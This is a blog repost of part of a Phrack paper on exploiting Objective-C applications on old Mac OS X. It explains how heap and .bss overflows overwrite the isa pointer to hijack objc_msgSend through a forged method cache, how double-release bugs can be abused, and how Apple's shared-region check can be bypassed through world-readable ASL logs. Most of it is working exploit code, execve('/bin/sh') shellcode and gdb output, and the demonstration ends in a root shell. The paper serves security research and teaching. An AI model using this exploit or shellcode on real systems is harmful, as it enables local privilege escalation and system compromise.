佳为好友
转:深入理解ObjectiveC Part3
创建:
10-9-25
转:
http://www.phrack.org/
issues.html?issue=66&id=4#
article
--[ 5 - Exploiting Objective-C Applications
Hopefully at this stage you're fairly familiar with the Objective-C
runtime. In this section we'll look at some of the considerations of
exploiting an Objective-C application on Mac OS X.
In order to explore this, we'll first start by looking at what happens when
an object allocation (alloc method) occurs for an Objective-C class.
So basically, when the alloc method is called ([Object alloc]) the
_internal_class_
creatInstanceFromZone function is called in the Objective-C
runtime. The source code for this function is shown below.
/*****************************
******************************
************
* _internal_class_
createInstanceFromZone. Allocate an instance of the
* specified class with the specified number of bytes for indexed
* variables, in the specified zone. The isa field is set to the
* class, C++ default constructors are called, and all other fields are zeroed.
******************************
******************************
**********/
__private_extern__ id
_internal_class_
createInstanceFromZone(Class cls, size_t extraBytes,
void *zone)
{
id obj;
size_t size;
// Can't create something for nothing
if (!cls) return nil;
// Allocate and initialize
size = _class_getInstanceSize(cls) + extraBytes;
if (UseGC) {
obj = (id) auto_zone_allocate_object(gc_
zone, size,
AUTO_OBJECT_SCANNED, false, true);
} else if (zone) {
obj = (id) malloc_zone_calloc (zone, 1, size);
} else {
obj = (id) calloc(1, size);
}
if (!obj) return nil;
// Set the isa pointer
obj->isa = cls;
// Call C++ constructors, if any.
if (!object_cxxConstruct(obj)) {
// Some C++ constructor threw an exception.
if (UseGC) {
auto_zone_retain(gc_zone, obj);
// gc free expects retain count==1
}
free(obj);
return nil;
}
return obj;
}
As you can see, this function basically just looks up the size of the class
and uses calloc to allocate some (zero filled) memory for it on the heap.
From the code above we can see that the calls to calloc etc allocate memory
from the default malloc zone. This means that the class meta-data and
contents are stored in amongst any other allocations the program makes.
Therefore, any overflows on the heap in an objc application are liable
to end up overflowing into objc meta-data. We can utilize this to gain
control of execution.
/*****************************
******************************
************
* _objc_internal_zone.
* Malloc zone for internal runtime data.
* By default this is the default malloc zone, but a dedicated zone is
* used if environment variable OBJC_USE_INTERNAL_ZONE is set.
******************************
******************************
**********/
However, if you set the OBJC_USE_INTERNAL_ZONE environment variable before
running the application, the Objective-C runtime will use it's own malloc
zone. This means the objc meta-data will be stored in another mapping, and
will stop these attacks. This is probably worth doing for any services you
run regularly (written in objective-c) just to mix up the address space a
bit.
The first thing we'll look at, in regards to this process, is how the class
size is calculated. This will determine which region on the heap this
allocation takes place from. (Tiny/Small/Large/Huge). For more information
on how the userspace heap implementation (Bertrand's malloc) works, you can
check my heap exploitation techniques paper [11].]
As you saw in the code above, when the
_internal_class_
createInstanceFromZone function wants to determine the size
of a class, the first step it takes is to call the _class_getInstanceSize()
function.
This basically just looks up the instance_size attribute from inside our
class struct. This means we can easily predict which region of the heap our
particular object will reside.
Ok, so now we're familiar with how the object is allocated we can explore
this in memory.
The first step is to copy the HelloWorld sample application we made earlier
to ofex1 as so...
-[dcbz@megatron:~/code]$ cp -r HelloWorld/ ofex1
We can then modify the hello.c file to perform an allocation with malloc()
prior to the class being alloc'ed.
The code then uses strcpy() to copy the first argument to this program into
our small buffer on the heap. With a large argument this should overflow
into our objective-c object.
include <stdio.h>
#include <stdlib.h>
#import "Talker.h"
int main(int ac, char **av)
{
char *buf = malloc(25);
Talker *talker = [[Talker alloc] init];
printf("buf: 0x%x\n",buf);
printf("talker: 0x%x\n",talker);
if(ac != 2) {
exit(1);
}
strcpy(buf,av[1]);
[talker say: "Hello World!"];
[talker release];
}
Now if we recompile our sample code, and fire up gdb, passing in a long
argument, we can begin to investigate what's needed to gain control of
execution.
(gdb) r `perl -e'print "A"x5000'`
Starting program: /Users/dcbz/code/ofex1/build/
hello `perl -e'print
"A"x5000'`
buf: 0x103220
talker: 0x103260
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414161
0x9470d688 in objc_msgSend ()
As you can see from the output above, buf is 64 bytes lower on the heap
than talker. This means overflowing 68 bytes will overwrite the isa pointer
in our class struct.
This time we run the program again, however we stick 0xcafebabe where our
isa pointer should be.
(gdb) r `perl -e'print "A"x64,"\xbe\xba\xfe\xca"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/dcbz/code/ofex1/build/
hello `perl -e'print
"A"x64,"\xbe\xba\xfe\xca"'`
buf: 0x1032c0
talker: 0x103300
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xcafebade
0x9470d688 in objc_msgSend ()
(gdb) x/i $pc
0x9470d688 <objc_msgSend+24>: mov edi,DWORD PTR [edx+0x20]
(gdb) i r edx
edx 0xcafebabe -889275714
We have now controlled the ISA pointer and a crash has occured offsetting
this by 0x20 and reading. However, we're unsure at this stage what exactly
is going on here.
In order to explore this, let's take a look at the source code for
objc_msgSend again.
// load receiver and selector
movl selector(%esp), %ecx
movl self(%esp), %eax
// check whether selector is ignored
cmpl $ kIgnore, %ecx
je LMsgSendDone // return self from %eax
// check whether receiver is nil
testl %eax, %eax
je LMsgSendNilSelf
// receiver (in %eax) is non-nil: search the cache
LMsgSendReceiverOk:
// -( nemo )- :: move our overwritten ISA pointer to edx.
movl isa(%eax), %edx // class = self->isa
// -( nemo )- :: This is where our crash takes place.
// in the CachLookup macro.
CacheLookup WORD_RETURN, MSG_SEND, LMsgSendCacheMiss
movl $kFwdMsgSend, %edx // flag word-return for _objc_msgForward
jmp *%eax // goto *imp
From the code above we can determine that our crash took place within the
CacheLookup macro. This means in order to gain control of execution from
here we're going to need a little understanding of how method caching works
for Objective-C classes.
Let's start by taking a look at our objc_class struct again.
struct objc_class
{
struct objc_class* isa;
struct objc_class* super_class;
const char* name;
long version;
long info;
long instance_size;
struct objc_ivar_list* ivars;
struct objc_method_list** methodLists;
struct objc_cache* cache;
struct objc_protocol_list* protocols;
};
We can see above that 32 bytes (0x20) into our struct is the cache pointer
(a pointer to a struct objc_cache instance). Therefore the instruction that
our crash took place in, is derefing the isa pointer (that we overwrote)
and trying to access the cache attribute of this struct.
Before we get into how the CacheLookup macro works, lets quickly
familiarize ourselves with how the objc_cache struct looks.
struct objc_cache {
unsigned int mask; /* total = mask + 1 */
unsigned int occupied;
cache_entry *buckets[1];
};
The two elements we're most concerned about are the mask and buckets. The
mask is used to resolve an index into the buckets array. I'll go into that
process in more detail as we read the implementation of this. The buckets
array is made up of cache_entry structs (shown below).
typedef struct {
SEL name; // same layout as struct old_method
void *unused;
IMP imp; // same layout as struct old_method
} cache_entry;
Now let's step through the CachLookup source now and we can look at the
process of checking the cache and what we control with an overflow.
.macro CacheLookup
// load variables and save caller registers.
pushl %edi // save scratch register
movl cache(%edx), %edi // cache = class->cache
pushl %esi // save scratch register
This initial load into edi is where our bad access is performed. We are
able to control edx here (the isa pointer) and therefore control edi.
movl mask(%edi), %esi // mask = cache->mask
First the cache struct is dereferenced and the "mask" is moved into esi.
We control the outcome of this, and therefore control the mask.
leal buckets(%edi), %edi // buckets = &cache->buckets
The address of the buckets array is moved into edi with lea. This will come
straight after our mask and occupied fields in our fake objc_cache struct.
movl %ecx, %edx // index = selector
shrl $$2, %edx // index = selector >> 2
The address of the selector (c string) which was passed to objc_msgSend()
as the method name is then moved into ecx. We do not control this at all.
I mentioned earlier that selectors are basically c strings that have been
registered with the runtime. The process we are looking at now, is used to
turn the Selector's address into an index into the buckets array. This
allows for quick location of our method. As you can see above, the first
step of this is to shift the pointer right by 2.
andl %esi, %edx // index &= mask
movl (%edi, %edx, 4), %eax // method = buckets[index]
Next the mask is applied. Typically the mask is set to a small value
in order to reduce our index down to a reasonable size. Since we control
the mask, we can control this process quite effectively.
Once the index is determined it is used in conjunction with the base
address of the buckets array in order to move one of the bucket entries
into eax.
testl %eax, %eax // check for end of bucket
je LMsgSendCacheMiss_$0_$1_$2
// go to cache miss code
If the bucket does not exist, it is assumed that a CacheMiss was performed,
and the method is resolved manually using the technique we described early
on in this paper.
cmpl method_name(%eax), %ecx // check for method name match
je LMsgSendCacheHit_$0_$1_$2
// go handle cache hit
However if the bucket is non-zero, the first element is retrieved which
should be the same selector that was passed in. If that is the cache, then
it is assumed that we've found our IMP function pointer, and it is called.
addl $$1, %edx // bump index ...
jmp LMsgSendProbeCache_$0_$1_$2 // ... and loop
Otherwise, the index is incremented and the whole process is attempted
again until a NULL bucket is found or a CacheHit occurs.
Ok, so taking this all home, lets apply what we know to our vulnerable
sample application.
We've accomplished step #1, we've overflown and controlled the isa pointer.
The next thing we need to do is find a nice patch of memory where we can
position our fake objective-c class information and predict it's address.
There are many different techniques for this and almost all of them are
situational. For a remote attack, you may wish to spray the heap, filling
all the gaps in until you can predict what's at a static location. However
in the case of a local overflow, the most reliable technique I know I wrote
about in my "a XNU Hope" paper [13]. Basically the undocumented system call
SYS_shared_region_map_file_np is used to map portions of a file into a
shared mapping across all the processes on the system. Unfortunately after
I published that paper, Apple decided to add a check to the system call to
make sure that the file being mapped was owned by root. KF originally
pointed this out to me when leopard was first released, and my macbook was
lying broken under my bed. He also noted, that there were many root owned
writable files on the system generally and so he could bypass this quite
easily.
-[dcbz@megatron:~]$ ls -lsa /Applications/.localized
8 -rw-rw-r-- 1 root admin 8 Apr 11 19:54 /Applications/.localized
An example of this is the /Applications/.localized file. This is at least
writeable by the admin user, and therefore will serve our purpose in this
case. However I have added a section to this paper (5.1) which demonstrates
a generic technique for reimplementing this technique on Leopard. I got
sidetracked while writing this paper and had to figure it out.
For now we'll just use /Applications/.localized however, in order to reduce
the complexity of our example.
Ok so now we know where we want to write our data, but we need to work out
exactly what to write. The lame ascii diagram below hopefully demonstrates
my idea for what to write.
,_____________________,
ISA -> | |
| mask=0 |<-,
| occupied | |
,---| buckets | |
'-->| fake bucket: SEL | |
| fake bucket: unused | |
| fake bucket: IMP |--|--,
| | | |
| | | |
ISA+32>| cache pointer |--' |
| | |
| SHELLCODE |<----'
'_____________________'
So basically what will happen, the ISA will be dereferenced and 32 will be
added to retrieve the cache pointer which we control. The cache pointer
will then point back to our first address where the mask value will be
retrieved. I used the value 0x0 for the mask, this way regardless of the
value of the selector the end result for the index will be 0. This way we
can stick the pointer from the selector we want to support (taken from ecx
in objc_msgSend.) at this position, and force a match. This will result in
the IMP being called. We point the imp at our shellcode below our cache
pointer and gain control of execution.
Phew, glad that explanation is out of the way, now to show it in code,
which is much much easier to understand. Before we begin to actually write
the code though, we need to retrieve the value of the selector, so we can
use it in our code.
In order to do this, we stick a breakpoint on our objc_msgSend() call in
gdb and run the program again.
(gdb) break *0x00001f83
Breakpoint 1 at 0x1f83
(gdb) r AAAAAAAAAAAAAAAAAAAAA
Starting program: /Users/dcbz/code/ofex1/build/
hello AAAAAAAAAAAAAAAAAAAAA
buf: 0x103230
talker: 0x103270
Breakpoint 1, 0x00001f83 in main ()
(gdb) x/i $pc
0x1f83 <main+194>: call 0x400a <dyld_stub_objc_msgSend>
(gdb) stepi
0x0000400a in dyld_stub_objc_msgSend ()
(gdb)
0x94e0c670 in objc_msgSend ()
(gdb)
0x94e0c674 in objc_msgSend ()
(gdb) s
0x94e0c678 in objc_msgSend ()
(gdb) x/s $ecx
0x1fb6 <main+245>: "say:"
As you can see, the address of our selector is 0x1fb6.
(gdb) info share $ecx
2 hello - 0x1000 exec Y Y
/Users/dcbz/code/ofex1/build/
hello (offset 0x0)
If we get some information on the mapping this came from we can see it was
directly from our binary itself. This address is going to be static each
time we run it, so it's acceptable to use this way.
Ok now that we've got all our information intact, I'll walk through a
finished exploit for this.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <mach/vm_prot.h>
#include <mach/i386/vm_types.h>
#include <mach/shared_memory_server.h>
#include <string.h>
#include <unistd.h>
#define BASE_ADDR 0x9ffff000
#define PAGESIZE 0x1000
#define SYS_shared_region_map_file_np 295
We're going to map our data, at the page 0x9ffff000-0xa0000000 this way
we're guaranteed that we'll have an address free of NULL bytes.
char nemox86exec[] =
// x86 execve() code / nemo
"\x31\xc0\x50\xb0\xb7\x6a\x7f\
xcd"
"\x80\x31\xc0\x50\xb0\x17\x6a\
x7f"
"\xcd\x80\x31\xc0\x50\x68\x2f\
x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\
x89"
"\xe3\x50\x54\x54\x53\x53\xb0\
x3b"
"\xcd\x80";
I'm using some simple execve("/bin/sh") shellcode for this. But obviously
this is just for local vulns.
struct _shared_region_mapping_np {
mach_vm_address_t address;
mach_vm_size_t size;
mach_vm_offset_t file_offset;
vm_prot_t max_prot; /* read/write/execute/COW/ZF */
vm_prot_t init_prot; /* read/write/execute/COW/ZF */
};
struct cache_entry {
char *name; // same layout as struct old_method
void *unused;
void (*imp)(); // same layout as struct old_method
};
struct objc_cache {
unsigned int mask; /* total = mask + 1 */
unsigned int occupied;
struct cache_entry *buckets[1];
};
struct our_fake_stuff {
struct objc_cache fake_cache;
char filler[32 - sizeof(struct objc_cache)];
struct objc_cache *fake_cache_ptr;
};
We define our structs here. I created a "our_fake_stuff" struct in order to
hold the main body of our exploit. I guess I should have stuck the
objc_cache struct we're using in here. But I'm not going to go back and
change it now... ;p
#define ROOTFILE "/Applications/.localized"
This is the file which we're using to store our data before we load it into
the shared section.
int main(int ac, char **av)
{
int fd;
struct _shared_region_mapping_np sr;
char data[PAGESIZE];
char *ptr = data + PAGESIZE - sizeof(nemox86exec) - sizeof(struct our_fake_stuff) - sizeof(struct objc_cache);
long knownaddress;
struct our_fake_stuff ofs;
struct cache_entry bckt;
#define EVILSIZE 69
char badbuff[EVILSIZE];
char *args[] = {"./build/hello",badbuff,NULL}
;
char *env[] = {"TERM=xterm",NULL};
So basically I create a char[] buff PAGESIZE in size where I store
everything I want to map into the shared section. Then I write the whole
thing to a file. args and env are used when I execve the vulnerable
program.
printf("[+] Opening root owned file: %s.\n", ROOTFILE);
if((fd=open(ROOTFILE,O_RDWR|O_
CREAT))==-1)
{
perror("open");
exit(EXIT_FAILURE);
}
I open the root owned file...
// fill our data buffer with nops. Why? Why not!
memset(data,'\x90',sizeof(
data));
knownaddress = BASE_ADDR + PAGESIZE - sizeof(nemox86exec) -
sizeof(struct our_fake_stuff) - sizeof(struct objc_cache);
knownaddress is a pointer to the start of our data. We position all our
data towards the end of the mapping to reduce the chance of NULL bytes.
ofs.fake_cache.mask = 0x0; // mask = 0
ofs.fake_cache.occupied = 0xcafebabe; // occupied
ofs.fake_cache.buckets[0] = knownaddress + sizeof(ofs);
The ofs struct is set up according to the method documented above. The mask
is set to 0, so that our index ends up becoming 0. Occupied can be any
value, I set it to 0xcafebabe for fun. Our buckets pointer basically just
points straight after itself. This is where our cache_entry struct is going
to be stored.
bckt.name
= (char *)0x1fb6; // our SEL
bckt.unused = (void *)0xbeef; // unused
bckt.imp = (void (*)())(knownaddress +
sizeof(struct our_fake_stuff) +
sizeof(struct objc_cache)); // our shellcode
Now we set up the cache_entry struct. Name is set to our selector value
which we noted down earlier. Unused can be set to anything. Finally imp is
set to the end of both of our structs. This function pointer will be called
by the objective-c runtime, after our structs are processed.
// set our filler to "A", who cares.
memset(ofs.filler,'\x41',
sizeof(ofs.filler));
ofs.fake_cache_ptr = (struct objc_cache *)knownaddress;
Next, we fill our filler with "A", this can be anything, it's just a pad so
that our fake_cache_ptr will be 32 bytes from the start of our ISA struct.
Our fake_cache_ptr is set up to point back to the start of our data
(knownaddress). This way our fake_cache struct is processed by the runtime.
// stick our struct in data.
memcpy(ptr,&ofs,sizeof(ofs));
// stick our cache entry after that
memcpy(ptr+sizeof(ofs),&bckt,
sizeof(bckt));
// stick our shellcode after our struct in data.
memcpy(ptr+sizeof(ofs)+sizeof(
bckt),nemox86exec
,sizeof(nemox86exec));
Now that our structs are set up, we simply memcpy() each of them into the
appropriate position within the data[] blob....
printf("[+] Writing out data to file.\n");
if(write(fd,data,PAGESIZE) != PAGESIZE)
{
perror("write");
exit(EXIT_FAILURE);
}
... And write this out to our file.
sr.address = BASE_ADDR;
sr.size = PAGESIZE;
sr.file_offset = 0;
sr.max_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
sr.init_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
printf("[+] Mapping file to shared region.\n");
if(syscall(SYS_shared_region_
map_file_np,fd,1,&sr,NULL)==-
1)
{
perror("shared_region_map_
file_np");
exit(EXIT_FAILURE);
}
close(fd);
Our file is then mapped into the shared region, and our fd discarded.
printf("[+] Fake Objective-C chunk at: 0x%x.\n", knownaddress);
memset(badbuff,'\x41',sizeof(
badbuff));
//knownaddress = 0xcafebabe;
badbuff[sizeof(badbuff) - 1] = 0x0;
badbuff[sizeof(badbuff) - 2] = (knownaddress & 0xff000000) >> 24;
badbuff[sizeof(badbuff) - 3] = (knownaddress & 0x00ff0000) >> 16;
badbuff[sizeof(badbuff) - 4] = (knownaddress & 0x0000ff00) >> 8;
badbuff[sizeof(badbuff) - 5] = (knownaddress & 0x000000ff) >> 0;
printf("[+] Executing vulnerable app.\n");
Before finally we set up our badbuff, which will be argv[1] within our
vulnerable application. knownaddress (The address of our data now stored
within the shared region.) is used as the ISA pointer.
execve(*args,args,env);
// not reached.
exit(0);
}
For your convenience I will include a copy of this exploit/vuln along with
most of the other code in this paper, uuencoded at the end.
As you can see from the following output, running our exploit works as
expected. We're dropped to a shell. (NOTE: I chown root;chmod +s'ed the
build/hello file for effect.)
-[dcbz@megatron:~/code/ofex1]$ ./exploit
[+] Opening root owned file: /Applications/.localized.
[+] Writing out data to file.
[+] Mapping file to shared region.
[+] Fake Objective-C chunk at: 0x9fffffa5.
[+] Executing vulnerable app.
buf: 0x103500
talker: 0x103540
bash-3.2# id
uid=0(root)
Hopefully in this section I have provided a viable method of exploiting
heap overflows in an Objective-c Environment.
Another technique revolving around overflowing Objective-C meta-data is an
overflow on the .bss section. This section is used to store static/global
data that is initially zero filled.
Generally with the way gcc lays out the binary, the __class section comes
straight after the .bss section. This means that a largish overflow on the
.bss will end up overwriting the isa class definition structs, rather than
the instantiated classes themselves, as in the previous example.
In order to test out what will happen we can modify our previous example to
move buf from the heap to the .bss. I also changed the printf responsible
for printing the address of the Talker class, to deref the first element
and print the address of it's isa instead.
#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"
char buf[25];
int main(int ac, char **av)
{
Talker *talker = [[Talker alloc] init];
printf("buf: 0x%x\n",buf);
printf("talker isa: 0x%x\n",*(long *)talker);
if(ac != 2) {
exit(1);
}
strcpy(buf,av[1]);
[talker say: "Hello World!"];
[talker release];
}
When we compile this and run it in gdb, we can see a couple of things.
Firstly, that the talkers isa struct is only around 4096 bytes apart from
our buffer.
(gdb) r `perl -e'print "A"x4150'`
Starting program: /Users/dcbz/code/ofex2/build/
hello `perl -e'print
"A"x4150'`
Reading symbols for shared libraries +++++...................... done
buf: 0x2040
talker isa: 0x3000
We also get a crash in the following instruction:
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
0x94e0c68c in objc_msgSend ()
(gdb) x/i $pc
0x94e0c68c <objc_msgSend+28>: mov 0x0(%edi),%esi
(gdb) i r edi
edi 0x41414141 1094795585
This instruction looks pretty familiar from our previous example.
As you can guess, this instruction is looking up the cache pointer, exactly
the same as our previous example. The only real difference is that we're
skipping a step. Rather than overflowing the ISA pointer and then creating
a fake ISA struct, we simply have to create a fake cache in order to gain
control of execution.
I'm not going to bother playing this one out for you guys in the paper,
cause this monster is already getting quite long as it is. I'll include the
sample code in the uuencoded section at the end though, feel free to play
with it.
As you can imagine, you simply need to set up memory as such:
,_____________________,
| mask=0 |
| occupied |
,---| buckets |
'-->| fake bucket: SEL |
| fake bucket: unused |
| fake bucket: IMP |-----,
| SHELLCODE |<----'
'_____________________'
and point edi to the start of it to gain control of execution.
These two techniques provide some of the easiest ways to gain control of
execution from a heap or .bss overflow that i've seen on Mac OS X.
The last type of bug which I will explore in this paper, is the double
"release". This is a double free of an Objective-C object.
The following code demonstrates this situation.
#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"
int main(int ac, char **av)
{
Talker *talker = [[Talker alloc] init];
printf("talker: 0x%x\n",talker);
printf("Talker is: %i bytes.\n", sizeof(Talker));
if(ac != 2) {
exit(1);
}
char *buf = strdup(av[1]);
printf("buf @ 0x%x\n",buf);
[talker say: "Hello World!"];
[talker release]; // Free
[talker release]; // Free again...
}
If we compile and execute this code in gdb, the following situation occurs:
-[dcbz@megatron:~/code/p66-
objc/ofex3]$ gcc Talker.m hello.m
-framework Foundation -o hello
-[dcbz@megatron:~/code/p66-
objc/ofex3]$ gdb ./hello
GNU gdb 6.3.50-20050815 (Apple version gdb-768)
Copyright 2004 Free Software Foundation, Inc.
(gdb) r AA
Starting program: /Users/dcbz/code/p66-objc/
ofex3/hello AA
talker: 0x103280
Talker is: 4 bytes.
buf @ 0x1032d0
Hello World!
objc[1288]: FREED(id): message release sent to freed object=0x103280
Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand.
0x90c65bfa in _objc_error ()
(gdb) x/i $pc
0x90c65bfa <_objc_error+116>: ud2a
(gdb)
This ud2a instruction is guaranteed to throw an Illegal instruction and
terminate the process. This is Apple's protection against double releases.
If we look at what's happening in the source we can see why this occurs.
__private_extern__ IMP _class_
lookupMethodAndLoadCache(Class cls, SEL sel)
{
Class curClass;
IMP methodPC = NULL;
// Check for freed class
if (cls == _class_getFreedObjectClass())
return (IMP) _freedHandler;
As you can see, when the lookupMethodAndLoadCache function is called,
(when the release method is called) the cls pointer is compared with the
result of the _class_getFreeObjectClass() function. This function returns
the address of the previous class which was released by the runtime. If a
match is found, the _freedHandler function is returned, rather than the
desired method implementation. _freedHandler is responsible for outputting
a message in syslog() and then using the ud2a instruction to terminate the
process.
This means that any method call on a free()'ed object will always
error out. However, if another object is released inbetween, the behaviour
is different.
To investigate this we can use the following program:
#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"
int main(int ac, char **av)
{
Talker *talker = [[Talker alloc] init];
Talker *talker2 = [[Talker alloc] init];
printf("talker: 0x%x\n",talker);
printf("talker is: %i bytes.\n", malloc_size(talker));
if(ac != 2) {
exit(1);
}
[talker release];
[talker2 release];
int i;
for(i=0; i<=50000 ; i++) {
char *buf = strdup(av[1]);
//printf("buf @ 0x%x\n",buf);
// leak badly
}
[talker say: "Hello World!"];
[talker release];
}
If we run this, with gdb attached, we can see that it crashes in the
following instruction.
(gdb) r aaaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/dcbz/code/p66-objc/
ofex3/hello aaaa
talker: 0x103280
talker is: 16 bytes.
Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x61616181
0x90c75688 in objc_msgSend ()
(gdb) x/i $pc
0x90c75688 <objc_msgSend+24>: mov edi,DWORD PTR [edx+0x20]
As you can see, this instruction (objc_msgSend+24) is our objc_msgSend call
trying to look up the cache pointer from our object. The ISA pointer in edx
contains the value 61616161 ("aaaa"). This is because our little for loop
of heap allocations, eventually filled in the gaps in the heap, and
overwrote our free'ed object.
Once we control the ISA pointer in this instruction, the situation is again
identical to a standard heap overflow of an Objective-C object.
I will leave it again as an exercize for the reader to implement this.
------[ 6.1 - Side note: Updated shared_region technique.
In the previous section we used the shared_region technique to store our
code in a fixed location in the address space of our vulnerable
application. However, in order to do so, we required a file that was owned
by root and controllable/readable by us.
The file that we used:
8 -rw-rw-r-- 1 root admin 4096 Apr 12 17:30 /Applications/.localized
Was only writeable by the admin user, so this isn't really a viable
solution to the problem apple presented us with.
As I said earlier, I've been away from Mac OS X for a while, so I haven't
had a chance to get around this new check, in the past. While I was writing
this paper I was contemplating possible methods of defeating it.
My first thought, was to find a suid which created a root owned file,
controllable by us, and then sigstop it. However I did not find any suids
which met our requirements with this.
I also tried mounting a volume obeying file ownership which contained a
previously created root owned file. However there is a check in the syscall
which makes sure that our file is on the root volume, so that was outed.
Finally I thought about log files. Something like syslog would be perfect
where I could arbitrarily control the contents. The only problem with this
idea is that no one in their right mind would allow their syslog to be
world readable.
This is when I stumbled across the "Apple system log facility." A.S.L?
Amazingly apple took it upon themselves to reinvent the wheel. Apple syslog
is designed to be readable by everyone on the system. By default any user
can see sudo messages etc.
The man page describes ASL as follows:
DESCRIPTION
These routines provide an interface to the Apple system log facility. They
are intended to be a replacement for the syslog(3) API, which will continue
to be supported for backwards compatibility. The new API allows client
applications to create flexible, structured messages and send them to the
syslogd server, where they may undergo additional processing. Messages
received by the server are saved in a data store (subject to input filtering
constraints). This API permits clients to create queries and search the
message data store for matching messages.
There's even a section on security that seems to think allowing everyone to
view your system log is a good thing...
SECURITY
Messages that are sent to the syslogd server may be saved
in a message store. The store may be searched using asl_search, as
described below. By default, all messages are readable by any user.
However, some applications may wish to restrict read access for some
messages. To accommodate this, a client may set a value for the "ReadUID"
and "ReadGID" keys. These keys may be associated with a value
containing an ASCII representation of a numeric UID or GID. Only the
root user (UID 0), the user with the given UID, or a member of the group with
the given GID may fetch access-controlled messages from the database.
So basically we can use the "asl_log()" function to add arbitrary data to
the log file. The log file is stored in /var/log/asl/YYYY.MM.DD.asl and as
you can see below this file is world readable. This works perfect for what
we need.
344 -rw-r--r-- 1 root wheel 172377 Apr 12 18:40
/var/log/asl/2009.04.12.asl
I wrote a tool "14-f-brazil.c" which basically takes some shellcode in
argv[1] then sends it to the latest asl log with asl_log(). It then maps
the last page of the log file straight into the shared section.
I stuck a unique identifier:
#define NEMOKEY "--((NEMOKEY))--:>>"
before the shellcode in memory, and then just scanned memory in the shared
mapping in the current process in order to locate the key, and therefore
our shellcode.
Here is the output from running the program:
-[dcbz@megatron:~/code]$ ./14-f-brazil `perl -e'print "\xcc"x20'`
[+] opening logfile: /var/log/asl/2009.04.12.asl.
[+] generating shellcode buffer to log.
[+] writing shellcode to logfile.
[+] creating shared mapping.
[+] file offset: 0x16000
[+] Waiting a bit.
[+] scanning memory for the shellcode... (this may crash).
[+] found shellcode at: 0x9ffff674.
And as you can see in gdb, we have a nopsled at that address.
-[dcbz@megatron:~/code]$ gdb /bin/sh
GNU gdb 6.3.50-20050815 (Apple version gdb-768)
(gdb) r
Starting program: /bin/sh
^C[Switching to process 342 local thread 0x2e1b]
0x8fe01010 in __dyld__dyld_start ()
Quit
(gdb) x/x 0x9ffff674
0x9ffff674: 0x90909090
(gdb)
0x9ffff678: 0x90909090
(gdb)
0x9ffff67c: 0x90909090
(gdb)
0x9ffff680: 0x90909090
(gdb)
0x9ffff684: 0x90909090
Andrewg predicts that after this paper Apple will add a check to make sure
that the file is executable, prior to mapping it into the shared section.
Should be interesting to see if they do this. :p
I'll include 14-f-brazil.c in the uuencoded code at the end of this paper.
+++++
posted on 2012-12-25 09:54
佳为好友
阅读(293)
评论(0)
编辑
收藏
引用
所属分类:
Debug-GDB
只有注册用户
登录
后才能发表评论。
【推荐】100%开源!大型工业跨平台软件C++源码提供,建模,组态!
相关文章:
转:Enabling Remote Debugging via Private APIs in Mobile Safari
原:gdb与时间戳
原:gdb与dateWithTimeIntervalSince1970的bug
转:Inspecting Obj-C parameters in gdb -好
原:gdb打印NSArray里面的每个元素的内容
原:汇编MOV和LEA
原:GDB的数据断点和ObjC的@property
原:利用Leaks和Zombies检查内存泄露
转:iPhone Crash Logs -3
转:How to debug those random crashes in your Cocoa app -非常强悍的调试技巧
网站导航:
博客园
IT新闻
BlogJava
知识库
博问
管理
导航
新随笔
管理
<
2012年12月
>
日
一
二
三
四
五
六
25
26
27
28
29
30
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1
2
3
4
5
留言簿
(1)
给我留言
查看公开留言
查看私人留言
随笔分类
Debug
(rss)
Debug-GDB(25)
(rss)
Tool(11)
(rss)
UI(46)
(rss)
非UI(41)
(rss)
删除(1)
(rss)
搜索
最新评论
评论排行榜
1. 原:关于MVC中C的讨论,以及MFC是否能够模仿Struct(0)
2. 转:C/C++格式化规定符(0)
3. 转:file is universal (3 slices) but does not contain a(n) armv7s slice error for static libraries on iOS, anyway to bypass?(0)
4. 转:[转] Gmail 的Host解决方案(0)
5. 转:在XCode中设定内存断点(数据断点,变量断点)(0)